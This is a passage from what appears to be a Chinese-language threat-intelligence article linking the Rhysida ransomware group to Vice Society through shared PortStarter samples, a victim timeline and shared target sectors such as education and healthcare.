4.對與Rhysida事件相關的基礎設施的分析發現了一組PortStarter樣本，其中一些之前被認為是Vice Society的。儘管PortStarter經常被描述為一種獨立的惡意軟件，但它的使用幾乎完全與Vice Society聯繫在一起。

受害者研究除了技術上的相似性之外，Rhysida的出現與Vice Society活動的顯著下降也存在相關性。根據Rhysida和Vice Society洩漏網站的信息，研究人員構建了一個時間線。

自從Rhysida第一次出現以來，Vice Society隻公布了兩名受害者。這些很可能是在早些時候進行的，直到6月份才被公開。自2023年6月21日起Vice Society的攻擊者就停止在他們的洩漏網站上發布信息。

微信截图_20230810152210.png

Rhysida和Vice Society受害者隨時間的分佈

此外，研究人員還注意到，受這兩個組織影響的目標行業有相似之處，這兩個組織以教育和醫療保健行業為目標而聞名。在整個勒索軟件生態系統中，教育行業的受害者比例很高，這對這兩個組織來說都是獨一無二的：

2.png

Rhysida受害者在每個行業分佈情況

3.png

Vice Society受害者分佈情況

總結研究人員對Rhysida勒索軟件攻擊的分析揭示了該組織與臭名昭著的Vice Society之間的明確聯繫，但它也揭示了一個殘酷的事實，大量勒索軟件攻擊者的TTP基本保持不變。目前觀察到的大部分活動均已被任何勒索軟件組織用於部署任何勒索軟件有效負載。

上述分析表明，安全人員不僅要了解勒索軟件有效負載的操作，還要了解導致其部署的整個過程的重要性。